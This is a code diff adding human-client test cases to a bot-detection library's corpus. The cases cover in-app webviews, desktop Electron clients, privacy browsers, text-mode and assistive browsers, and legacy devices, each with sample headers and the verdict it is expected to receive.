+  webview("app-wechat-ios", "A link tapped in WeChat", "Mozilla/5.0 (iPhone; CPU iPhone OS 18_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.58(0x18003a2b) NetType/WIFI Language/en", "WeChat's WebView is the entry point to an entire application ecosystem in China", { language: "zh-CN,zh;q=0.9,en;q=0.8" }),
+  webview("app-weibo", "A link tapped in Weibo", "Mozilla/5.0 (Linux; Android 14; 2211133C Build/UKQ1.230804.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/122.0.6261.119 Mobile Safari/537.36 Weibo (Xiaomi-2211133C__weibo__14.9.0__android__android14)", "Weibo packs the manufacturer, app and OS versions into a parenthesised block", { language: "zh-CN,zh;q=0.9" }),
+  webview("app-vk", "A link tapped in VK", "Mozilla/5.0 (iPhone; CPU iPhone OS 18_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 VKClient/8.32", "The dominant social network across the CIS", { language: "ru-RU,ru;q=0.9,en-US;q=0.8" }),
+  // ---------------------------------------------------------------------------
+  // Non-social apps that embed a browser: banking, travel, retail, news.
+  // ---------------------------------------------------------------------------
+  webview("app-banking-3ds", "A 3-D Secure challenge inside a banking app", "Mozilla/5.0 (iPhone; CPU iPhone OS 18_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 ExampleBank/7.14.2", "Card authentication opens the issuer's page inside the app's WebView", { notes: "A payment failing here is a lost order and a support call, and the person has no way to switch browser." }),
+  webview("app-retail-loyalty", "A retailer's app opening its own web page", "Mozilla/5.0 (Linux; Android 15; Pixel 8 Build/AP4A.250105.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/149.0.7202.61 Mobile Safari/537.36 ExampleShop/9.4.1", "Native apps commonly render loyalty and account pages as embedded web views"),
+  webview("app-travel-booking", "An airline app rendering a booking page", "Mozilla/5.0 (iPhone; CPU iPhone OS 18_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 ExampleAir/6.2.0 (iOS)", "Booking flows are frequently web pages inside a native shell"),
+  webview("app-news-reader", "A news app opening a linked article", "Mozilla/5.0 (Linux; Android 14; moto g84 5G Build/U1TNS34.82-12-9; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/145.0.7049.100 Mobile Safari/537.36 ExampleNews/8.1.0", "News aggregators open the publisher's page in a WebView"),
+  human({
+    id: "app-podcast-shownotes",
+    title: "A podcast app opening show notes",
+    category: "in-app-webview",
+    provenance: "The same application that fetches your feed also opens your links, with the same User-Agent",
+    notes: "The most instructive case in this file, and the corpus caught the expectation being wrong before the library was. Overcast's User-Agent carries the crawler contact convention because the app also fetches feeds \u2014 so the library reads a *proven declared bot*, and it is right: that is genuinely what the client software is. There is a person behind this particular request and nothing in it says so. The verdict is about the client, not the intent, and the gap between those two is exactly why a proven verdict tags rather than blocks here.",
+    requests: [
+      plain("Mozilla/5.0 (iPhone; CPU iPhone OS 18_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Overcast/2025.4 (+http://overcast.fm/; iOS podcast app)", [
+        ["Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"],
+        ["Accept-Language", "en-GB,en;q=0.9"],
+        ["Accept-Encoding", "gzip, deflate, br"]
+      ])
+    ],
+    selfDeclared: "Overcast sends one User-Agent for both jobs, and it carries the crawler contact convention because the app also fetches feeds. The library reads a proven declaration and is correct about the client; there is simply a person behind this particular request and nothing in it says so.",
+    expect: { verdict: "confirmed-bot", certain: true, botClass: "declared-bot" },
+    tags: ["known-cost", "known-limit"]
+  }),
+  human({
+    id: "app-kindle-in-book-link",
+    title: "Following a footnote link from a Kindle book",
+    category: "in-app-webview",
+    provenance: "Kindle devices open external links in an embedded Silk-derived browser with a very reduced header set",
+    requests: [
+      plain("Mozilla/5.0 (Linux; U; Android 11; en-GB; KFTRWI) AppleWebKit/537.36 (KHTML, like Gecko) Silk/128.1.2 like Chrome/128.0.6613.146 Safari/537.36", [
+        ["Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"],
+        ["Accept-Language", "en-GB"],
+        ["Accept-Encoding", "gzip, deflate"]
+      ])
+    ],
+    expect: { certain: false }
+  }),
+  human({
+    id: "app-car-infotainment",
+    title: "A passenger opening a link on a car's infotainment screen",
+    category: "in-app-webview",
+    provenance: "Android Automotive builds ship a WebView on an old Chromium with an unusual device string",
+    notes: "A small population that no signature list will ever cover, on an engine years behind the release channel. The right treatment is the same as for any unfamiliar client: score it, do not deny it.",
+    requests: [
+      plain("Mozilla/5.0 (Linux; Android 13; Automotive Build/TQ3A.230805.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/119.0.6045.193 Safari/537.36", [
+        ["Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"],
+        ["Accept-Language", "de-DE,de;q=0.9,en;q=0.8"],
+        ["Accept-Encoding", "gzip, deflate, br"]
+      ])
+    ],
+    expect: { certain: false }
+  }),
+  webview("app-email-client", "A mobile mail client opening a newsletter link", "Mozilla/5.0 (iPhone; CPU iPhone OS 18_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Outlook-iOS/4.2531.0", "Outlook opens links in its own WebView rather than handing off to Safari"),
+  webview("app-google-app", "A link tapped in the Google app", "Mozilla/5.0 (iPhone; CPU iPhone OS 18_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 GSA/354.0.723598878 Mobile/15E148 Safari/604.1", "GSA is the Google Search App's in-app browser and carries a very large share of mobile search traffic"),
+  webview("app-android-webview-bare", "A bare Android WebView from an unnamed app", "Mozilla/5.0 (Linux; Android 13; SM-A135F Build/TP1A.220624.014; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/140.0.7028.61 Mobile Safari/537.36", "Any application can embed a WebView and add nothing; only the wv token remains", { cookie: false, notes: "No app name, no cookies, an old Chromium and none of the modern headers. Close to the worst case a real person can present, and still a real person." }),
+  webview("app-huawei-quick", "A Huawei Quick App", "Mozilla/5.0 (Linux; Android 12; ELS-NX9; HMSCore 6.14.0.302; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/126.0.6478.186 Mobile Safari/537.36 QuickApp/12.0.6", "Huawei's lightweight app format renders web content in a WebView", { language: "zh-CN,zh;q=0.9" }),
+  // ---------------------------------------------------------------------------
+  // Desktop applications embedding a browser engine.
+  // ---------------------------------------------------------------------------
+  webview(
+    "app-vscode-simple-browser",
+    "A developer opening a page in VS Code's Simple Browser",
+    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Code/1.97.2 Chrome/132.0.6834.196 Electron/34.2.0 Safari/537.36",
+    "The Electron User-Agent emitted by VS Code webviews",
+    { notes: "This exact string was classified as proven automation by a shipped version of this library, because Electron sat in the headless signature set. It then looped on the challenge, because passing one cannot undo a proven verdict. Two bugs, one User-Agent, both found by a person opening the project's own demo." }
+  ),
+  webview("app-slack-desktop", "Slack's desktop client opening a link internally", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Slack/4.45.69 Chrome/134.0.6998.205 Electron/35.7.5 Safari/537.36", "Electron-based desktop client"),
+  webview("app-discord-desktop", "Discord's desktop client", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) discord/1.0.9200 Chrome/128.0.6613.186 Electron/32.2.7 Safari/537.36", "Electron again; the app name is lowercase here"),
+  webview("app-spotify-desktop", "Spotify's desktop client opening a link", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Spotify/1.2.62 Chrome/134.0.6998.205 Electron/35.7.5 Safari/537.36", "A person listening, not the podcast fetcher", { notes: "The reason no signature claims the token `Spotify/`: this is a listener, and `Spotify/1.0` is a feed fetcher. One prefix, two entirely different clients." }),
+  webview("app-notion-desktop", "Notion's desktop client", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Notion/4.5.0 Chrome/128.0.6613.186 Electron/32.2.6 Safari/537.36", "Electron-based note application embedding pages"),
+  webview("app-figma-desktop", "Figma's desktop client loading an embed", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Figma/125.4.4 Chrome/126.0.6478.234 Electron/31.7.5 Safari/537.36", "Design tools embed live web previews"),
+  webview("app-postman-desktop", "Postman's desktop client rendering a documentation page", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Postman/11.30.0 Chrome/128.0.6613.186 Electron/32.2.6 Safari/537.36", "Distinct from PostmanRuntime, which is the request sender", { notes: "PostmanRuntime is automation; Postman the application is a person reading documentation. The two arrive from the same machine within seconds of each other." }),
+  webview("app-steam-overlay", "The Steam in-game browser", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.234 Safari/537.36 Valve Steam GameOverlay/1740000000", "Steam's overlay browser opens links without leaving a game"),
+  webview("app-office-webview", "A link opened from Microsoft Word", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.186 Safari/537.36 Microsoft Office Word/16.0.18324", "Office applications open links through an embedded browser and announce the host application"),
+  webview("app-teams-desktop", "Microsoft Teams' desktop client", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.186 Electron/32.2.6 Safari/537.36 Teams/25.31.0", "Teams renders tabs and link previews in an embedded browser")
+];
+
+// src/corpus/humans.ts
+function withCacheValidators(request) {
+  const headers = [...request.headers];
+  headers.splice(2, 0, ["Cache-Control", "max-age=0"], ["If-None-Match", '"a1b2c3d4"']);
+  return { ...request, headers };
+}
+var CLEAN = [
+  "self-identified",
+  "header-integrity",
+  "client-hints",
+  "fetch-metadata",
+  "accept-signature",
+  "header-order",
+  "trap",
+  "ip-intelligence"
+];
+function pristine(id, title, request, provenance) {
+  return human({
+    id,
+    title,
+    category: "mainstream-browser",
+    provenance,
+    requests: [request],
+    expect: { verdict: "unknown", maxScore: 0, notDetectors: CLEAN, action: "allow" }
+  });
+}
+var HUMAN_CASES = [
+  // ---------------------------------------------------------------------------
+  // Applications that put their own address in the User-Agent.
+  //
+  // A great many do — native apps with a webview, desktop clients, anything whose
+  // author wanted a server operator to be able to reach them. None of it says the
+  // request is automated, and the person behind it is an ordinary customer. The
+  // `self-identified` detector used to read a bare URL or email as the whole of a
+  // self-declaration and reach `certain` on it, which is a proven bot verdict on a
+  // person and the one thing this corpus exists to make impossible.
+  // ---------------------------------------------------------------------------
+  human({
+    id: "app-webview-support-email",
+    title: "A banking app's webview, naming its support address",
+    category: "in-app-browser",
+    provenance: "Native apps commonly append a product token and a contact to the system webview's User-Agent",
+    notes: "Contains an email address and no crawler word anywhere. Believing a client's declaration is safe; inventing one for it is not.",
+    requests: [
+      plain(
+        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36 Notes/3.1 (support@notes.example)"
+      )
+    ],
+    expect: { certain: false, neverAction: DENYING_ACTIONS }
+  }),
+  human({
+    id: "desktop-client-homepage-url",
+    title: "A desktop client naming its homepage",
+    category: "in-app-browser",
+    provenance: "A bare https:// URL in a User-Agent, without the `+` crawler convention and without a crawler word",
+    requests: [
+      plain(
+        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.7 Safari/605.1.15 Ledger/2.4 (https://ledger.example)"
+      )
+    ],
+    expect: { certain: false, neverAction: DENYING_ACTIONS }
+  }),
+  // ---------------------------------------------------------------------------
+  // Mainstream desktop. If any of these ever fails, stop and fix it before
+  // anything else in the library.
+  // ---------------------------------------------------------------------------
+  pristine("chrome-windows", "Chrome 152 on Windows 11", browser("chromeWindows"), "2026 User-Agent lists; Chromium freezes the minor version to 0.0.0"),
+  pristine("chrome-macos", "Chrome 152 on macOS", browser("chromeMac"), "2026 User-Agent lists"),
+  pristine("chrome-linux", "Chrome 152 on Linux", browser("chromeLinux"), "2026 User-Agent lists"),
+  pristine("edge-windows", "Edge 150 on Windows", browser("edgeWindows"), "Edge reports Chromium brands alongside its own; UA carries Edg/"),
+  pristine("firefox-windows", "Firefox 148 on Windows", browser("firefoxWindows"), "2026 User-Agent lists; Gecko sends no Client Hints"),
+  pristine("firefox-linux", "Firefox 148 on Linux, German locale", browser("firefoxLinux"), "2026 User-Agent lists"),
+  pristine("safari-macos", "Safari 18.7 on macOS", browser("safariMac"), "WebKit interleaves Sec-Fetch-* with content negotiation"),
+  // ---------------------------------------------------------------------------
+  // Mainstream mobile. More than half the web.
+  // ---------------------------------------------------------------------------
+  pristine("safari-ios", "Safari 18.7 on iPhone", browser("safariIos"), "2026 User-Agent lists"),
+  pristine("chrome-android", "Chrome 150 on Android", browser("chromeAndroid"), "Android UA frozen to 'Android 10; K' since Chrome 110"),
+  pristine("samsung-internet", "Samsung Internet 27 on a Galaxy S24", browser("samsungInternet"), "Chromium fork with its own product token; very common in Korea and India"),
+  human({
+    id: "chrome-android-cross-site-arrival",
+    title: "Arriving on Android from a Google search result",
+    category: "mainstream-browser",
+    provenance: "Fetch Metadata spec: a cross-origin navigation reports Sec-Fetch-Site: cross-site",
+    requests: [browser("chromeAndroid", { kind: "cross-site-navigate", referer: "https://www.google.com/" })],
+    expect: { verdict: "unknown", maxScore: 0, action: "allow" }
+  }),
+  human({
+    id: "safari-ios-xhr",
+    title: "An in-page fetch() for JSON from iOS Safari",
+    category: "mainstream-browser",
+    provenance: "Fetch Metadata spec: same-origin cors/empty",
+    notes: "Accept is */* here, and that is correct for fetch(). The accept-signature detector must not read it as a navigation.",
+    requests: [{ ...browser("safariIos", { kind: "xhr" }), path: "/api/cart" }],
+    expect: { verdict: "unknown", maxScore: 0, notDetectors: ["accept-signature"], action: "allow" }
+  }),
+  human({
+    id: "chrome-subresource-image",
+    title: "Chrome loading an image on the page",
+    category: "mainstream-browser",
+    provenance: "Fetch Metadata spec: no-cors/image",
+    requests: [browser("chromeWindows", { kind: "subresource" })],
+    expect: { verdict: "unknown", maxScore: 0, action: "allow" }
+  }),
+  // ---------------------------------------------------------------------------
+  // In-app browsers. A large and growing share of mobile traffic, and the group
+  // most likely to be misread: the UA is a real engine wearing an app's badge.
+  // ---------------------------------------------------------------------------
+  human({
+    id: "instagram-webview-ios",
+    title: "Tapping a link in Instagram on iOS",
+    category: "in-app-webview",
+    provenance: "Instagram appends an 'Instagram <version>' token plus device metadata; no Safari/ token remains",
+    requests: [
+      plain(
+        "Mozilla/5.0 (iPhone; CPU iPhone OS 18_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 361.0.0.31.98 (iPhone16,2; iOS 18_5; en_US; en; scale=3.00; 1290x2796; 682468081)",
+        [["Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"], ["Accept-Language", "en-US,en;q=0.9"], ["Accept-Encoding", "gzip, deflate, br"]]
+      )
+    ],
+    expect: { verdict: "unknown", maxScore: 30, action: ["allow", "tag", "log"] }
+  }),
+  human({
+    id: "facebook-webview-android",
+    title: "Tapping a link in Facebook on Android",
+    category: "in-app-webview",
+    provenance: "Android Facebook webviews carry FB_IAB and FBAV tokens",
+    requests: [
+      plain(
+        "Mozilla/5.0 (Linux; Android 14; SM-A546B Build/UP1A.231005.007; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/149.0.0.0 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/491.0.0.42.63;]",
+        [["Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8"], ["Accept-Language", "en-GB,en;q=0.9"], ["Accept-Encoding", "gzip, deflate, br"], ["Sec-Fetch-Site", "none"], ["Sec-Fetch-Mode", "navigate"], ["Sec-Fetch-Dest", "document"]]
+      )
+    ],
+    expect: { verdict: ["unknown", "suspected-bot"], action: ["allow", "tag", "log", "delay", "challenge"] },
+    notes: "An Android webview claims Chrome but sends no Sec-CH-UA, so it scores. It must never be denied."
+  }),
+  human({
+    id: "tiktok-webview",
+    title: "Tapping a link in TikTok",
+    category: "in-app-webview",
+    provenance: "TikTok webviews carry musical_ly or BytedanceWebview tokens",
+    requests: [
+      plain(
+        "Mozilla/5.0 (Linux; Android 13; V2145 Build/TP1A.220624.014; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/143.0.0.0 Mobile Safari/537.36 musical_ly_2023905040 JsSdk/1.0 NetType/WIFI Channel/googleplay AppName/musical_ly app_version/39.5.4 ByteLocale/en ByteFullLocale/en Region/GB BytedanceWebview/d8a21c6",
+        [["Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"], ["Accept-Language", "en-GB,en;q=0.9"], ["Accept-Encoding", "gzip, deflate"]]
+      )
+    ],
+    expect: { verdict: ["unknown", "suspected-bot"], action: ["allow", "tag", "log", "delay", "challenge"] },
+    notes: "Contains 'Bytedance' but NOT 'Bytespider'. A substring match on the vendor name here would block a person."
+  }),
+  human({
+    id: "snapchat-webview",
+    title: "Tapping a link in Snapchat",
+    category: "in-app-webview",
+    provenance: "Snapchat webviews append a Snapchat token",
+    requests: [
+      plain(
+        "Mozilla/5.0 (iPhone; CPU iPhone OS 18_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Snapchat/13.24.0.44 (like Safari/605.1.15)",
+        [["Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"], ["Accept-Language", "en-US,en;q=0.9"], ["Accept-Encoding", "gzip, deflate, br"]]
+      )
+    ],
+    expect: { verdict: ["unknown", "suspected-bot"], action: ["allow", "tag", "log", "delay", "challenge"] }
+  }),
+  human({
+    id: "linkedin-webview",
+    title: "Tapping a link in the LinkedIn app",
+    category: "in-app-webview",
+    provenance: "LinkedIn webviews carry a LinkedInApp token",
+    notes: "Distinct from LinkedInBot, which is the unfurler. One is a person; the other is not.",
+    requests: [
+      plain(
+        "Mozilla/5.0 (iPhone; CPU iPhone OS 18_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 [LinkedInApp]",
+        [["Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"], ["Accept-Language", "en-US,en;q=0.9"], ["Accept-Encoding", "gzip, deflate, br"]]
+      )
+    ],
+    expect: { verdict: ["unknown", "suspected-bot"], action: ["allow", "tag", "log", "delay", "challenge"] }
+  }),
+  human({
+    id: "vscode-simple-browser",
+    title: "A developer opening a page in VS Code's Simple Browser",
+    category: "embedded-app",
+    provenance: "Electron UA emitted by VS Code webviews. This exact case was a shipped bug: Electron sat in the headless signature set and produced a proven-automation verdict for a person, which then looped on the challenge.",
+    requests: [
+      plain(
+        "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Code/1.95.3 Chrome/128.0.6613.36 Electron/32.2.1 Safari/537.36",
+        [["Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"], ["Accept-Language", "en-US"], ["Accept-Encoding", "gzip, deflate, br"], ["Sec-Fetch-Site", "none"], ["Sec-Fetch-Mode", "navigate"], ["Sec-Fetch-Dest", "document"]]
+      )
+    ],
+    expect: { certain: false, botClass: ["unknown", "impersonator"], action: ["allow", "tag", "log", "delay", "challenge"] },
+    tags: ["regression"]
+  }),
+  human({
+    id: "slack-desktop",
+    title: "Slack's desktop app opening a link internally",
+    category: "embedded-app",
+    provenance: "Electron-based desktop client",
+    requests: [
+      plain(
+        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Slack/4.44.65 Chrome/134.0.6998.205 Electron/35.7.5 Safari/537.36",
+        [["Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"], ["Accept-Language", "en-GB"], ["Accept-Encoding", "gzip, deflate, br"]]
+      )
+    ],
+    expect: { certain: false, action: ["allow", "tag", "log", "delay", "challenge"] }
+  }),
+  // ---------------------------------------------------------------------------
+  // Privacy-hardened clients. The population most likely to be misclassified, and
+  // the one with the strongest reasons for its configuration.
+  // ---------------------------------------------------------------------------
+  human({
+    id: "tor-browser",
+    title: "Tor Browser",
+    category: "privacy-hardened",
+    provenance: "Tor Browser ships one frozen Firefox UA for every user on every platform, and normalises Accept-Language to en-US,en;q=0.5",
+    notes: "The whole design goal is that every Tor user looks identical. It is Firefox-shaped and complete, so it should assess cleanly.",
+    requests: [
+      {
+        headers: [
+          ["Host", "shop.example"],
+          ["User-Agent", "Mozilla/5.0 (Windows NT 10.0; rv:128.0) Gecko/20100101 Firefox/128.0"],
+          ["Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"],
+          ["Accept-Language", "en-US,en;q=0.5"],
+          ["Accept-Encoding", "gzip, deflate, br"],
+          ["Connection", "keep-alive"],
+          ["Upgrade-Insecure-Requests", "1"],
+          ["Sec-Fetch-Dest", "document"],
+          ["Sec-Fetch-Mode", "navigate"],
+          ["Sec-Fetch-Site", "none"],
+          ["Sec-Fetch-User", "?1"]
+        ],
+        protocol: "https",
+        httpVersion: "1.1"
+      }
+    ],
+    expect: { verdict: "unknown", maxScore: 0, action: "allow" }
+  }),
+  human({
+    id: "firefox-resist-fingerprinting",
+    title: "Firefox with privacy.resistFingerprinting enabled",
+    category: "privacy-hardened",
+    provenance: "resistFingerprinting freezes the UA to a generic Windows Firefox ESR and pins Accept-Language to en-US",
+    requests: [
+      {
+        headers: [
+          ["Host", "shop.example"],
+          ["User-Agent", "Mozilla/5.0 (Windows NT 10.0; rv:128.0) Gecko/20100101 Firefox/128.0"],
+          ["Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"],
+          ["Accept-Language", "en-US, en"],
+          ["Accept-Encoding", "gzip, deflate, br"],
+          ["Connection", "keep-alive"],
+          ["Upgrade-Insecure-Requests", "1"],
+          ["Sec-Fetch-Dest", "document"],
+          ["Sec-Fetch-Mode", "navigate"],
+          ["Sec-Fetch-Site", "none"],
+          ["Sec-Fetch-User", "?1"]
+        ],
+        protocol: "https",
+        httpVersion: "1.1"
+      }
+    ],
+    expect: { verdict: "unknown", maxScore: 20, action: ["allow", "tag", "log"] }
+  }),
+  human({
+    id: "brave-shields",
+    title: "Brave with Shields up",
+    category: "privacy-hardened",
+    provenance: "Brave presents an unmodified Chrome UA by design and does send Client Hints",
+    requests: [browser("chromeWindows", { acceptLanguage: "en-US,en;q=0.9" })],
+    expect: { verdict: "unknown", maxScore: 0, action: "allow" }
+  }),
+  human({
+    id: "ua-spoofing-extension",
+    title: "A person running a User-Agent spoofing extension",
+    category: "privacy-hardened",
+    provenance: "Extensions rewrite navigator.userAgent and the UA header but cannot rewrite Sec-CH-UA, so the two disagree",
+    notes: "A real person, and the library will score them: this is the exact contradiction the client-hints detector looks for. It is why that detector is capped at `strong` and can never block. The corpus records the cost \u2014 a challenge \u2014 rather than pretending it is zero.",
+    requests: [
+      {
+        headers: [
+          ["Host", "shop.example"],
+          ["Connection", "keep-alive"],
+          ["sec-ch-ua", '"Not(A:Brand";v="99", "Google Chrome";v="152", "Chromium";v="152"'],
+          ["sec-ch-ua-mobile", "?0"],
+          ["sec-ch-ua-platform", '"Windows"'],
+          ["Upgrade-Insecure-Requests", "1"],
+          ["User-Agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.7 Safari/605.1.15"],
+          ["Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"],
+          ["Sec-Fetch-Site", "none"],
+          ["Sec-Fetch-Mode", "navigate"],
+          ["Sec-Fetch-User", "?1"],
+          ["Sec-Fetch-Dest", "document"],
+          ["Accept-Encoding", "gzip, deflate, br"],
+          ["Accept-Language", "en-US,en;q=0.9"]
+        ],
+        protocol: "https",
+        httpVersion: "1.1"
+      }
+    ],
+    expect: { certain: false, action: ["allow", "tag", "log", "delay", "challenge", "rate-limit"] },
+    tags: ["known-cost"]
+  }),
+  human({
+    id: "cookies-blocked",
+    title: "Somebody who blocks all cookies, browsing at length",
+    category: "privacy-hardened",
+    provenance: "session-integrity reports an actor that never returns any cookie after a dozen requests",
+    notes: "Blocking cookies is a legitimate choice made by real people. The detector is capped at moderate for exactly this case.",
+    requests: humanPaced(browser("chromeWindows", { kind: "same-origin-navigate", referer: "https://shop.example/" }), [
+      "/",
+      "/products",
+      "/products/7",
+      "/products/12",
+      "/about",
+      "/products/31",
+      "/search?q=lamp",
+      "/products/44",
+      "/basket",
+      "/products/9",
+      "/delivery",
+      "/products/18",
+      "/contact",
+      "/products/2"
+    ]),
+    expect: { certain: false, action: ["allow", "tag", "log", "delay", "challenge", "rate-limit"] },
+    tags: ["known-cost"]
+  }),
+  // ---------------------------------------------------------------------------
+  // Assistive technology and text clients. Small populations, high stakes: these
+  // are people for whom an alternative route around a block usually does not exist.
+  // ---------------------------------------------------------------------------
+  human({
+    id: "lynx-text-browser",
+    title: "Lynx, a text-mode browser",
+    category: "assistive",
+    provenance: "Lynx is used with refreshable braille displays and over slow links; it renders no JavaScript at all",
+    notes: "A JavaScript challenge locks this person out permanently. That is the argument for contactHtml being mandatory.",
+    requests: [
+      {
+        headers: [
+          ["Host", "shop.example"],
+          ["Accept", "text/html, text/plain, text/sgml, text/css, application/xhtml+xml, */*;q=0.01"],
+          ["Accept-Encoding", "gzip, compress, bzip2"],
+          ["Accept-Language", "en"],
+          ["User-Agent", "Lynx/2.9.2 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/3.0.14"]
+        ],
+        protocol: "https",
+        httpVersion: "1.1"
+      }
+    ],
+    expect: { certain: false, action: ["allow", "tag", "log", "delay", "challenge", "rate-limit"] },
+    tags: ["known-cost", "accessibility"]
+  }),
+  human({
+    id: "w3m-text-browser",
+    title: "w3m, a text-mode browser",
+    category: "assistive",
+    provenance: "Common in terminal workflows and on low-bandwidth connections",
+    requests: [
+      {
+        headers: [
+          ["Host", "shop.example"],
+          ["User-Agent", "w3m/0.5.3+git20230121"],
+          ["Accept", "text/html, text/*;q=0.5, image/*, application/*, audio/*, */*;q=0.1"],
+          ["Accept-Encoding", "gzip, deflate, br"],
+          ["Accept-Language", "en;q=1.0"]
+        ],
+        protocol: "https",
+        httpVersion: "1.1"
+      }
+    ],
+    expect: { certain: false, action: ["allow", "tag", "log", "delay", "challenge", "rate-limit"] },
+    tags: ["known-cost", "accessibility"]
+  }),
+  human({
+    id: "screen-reader-firefox",
+    title: "NVDA driving Firefox",
+    category: "assistive",
+    provenance: "A screen reader reads the rendered page; the HTTP request is an ordinary Firefox request",
+    notes: "There is no header that distinguishes this from any other Firefox. It is here to make that point explicit: assistive technology is invisible at the HTTP layer, and any heuristic claiming to spot it is wrong.",
+    requests: [browser("firefoxWindows")],
+    expect: { verdict: "unknown", maxScore: 0, action: "allow" },
+    tags: ["accessibility"]
+  }),
+  // ---------------------------------------------------------------------------
+  // Old and unusual devices. Disproportionately owned by people who cannot
+  // simply buy a newer one.
+  // ---------------------------------------------------------------------------
+  human({
+    id: "internet-explorer-11",
+    title: "Internet Explorer 11 on Windows 10",
+    category: "legacy-client",
+    provenance: "Still present in government, healthcare and industrial deployments",
+    requests: [
+      {
+        headers: [
+          ["Accept", "text/html, application/xhtml+xml, image/jxr, */*"],
+          ["Accept-Language", "en-GB"],
+          ["User-Agent", "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"],
+          ["Accept-Encoding", "gzip, deflate"],
+          ["Host", "shop.example"],
+          ["Connection", "Keep-Alive"]
+        ],
+        protocol: "https",
+        httpVersion: "1.1"
+      }
+    ],
+    expect: { certain: false, action: ["allow", "tag", "log", "delay", "challenge", "rate-limit"] },
+    notes: "Note the header order: IE sends Host near the end, which trips the weakest header-order rule.",
+    tags: ["known-cost"]
+  }),
+  human({
+    id: "android-4-webview",
+    title: "A ten-year-old Android tablet",
+    category: "legacy-client",
+    provenance: "Android 4.4 stock browser UA",
+    requests: [
+      plain(
+        "Mozilla/5.0 (Linux; U; Android 4.4.2; en-gb; SM-T230 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30",
+        [["Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"], ["Accept-Language", "en-GB, en-US"], ["Accept-Encoding", "gzip, deflate"]]
+      )
+    ],
+    expect: { certain: false, action: ["allow", "tag", "log", "delay", "challenge", "rate-limit"] }
+  }),
+  human({
+    id: "smart-tv-browser",
+    title: "A smart TV browser",
+    category: "legacy-client",
+    provenance: "Tizen browser on a Samsung television",
+    requests: [
+      plain(
+        "Mozilla/5.0 (SMART-TV; LINUX; Tizen 7.0) AppleWebKit/537.36 (KHTML, like Gecko) 94.0.4606.31/7.0 TV Safari/537.36",
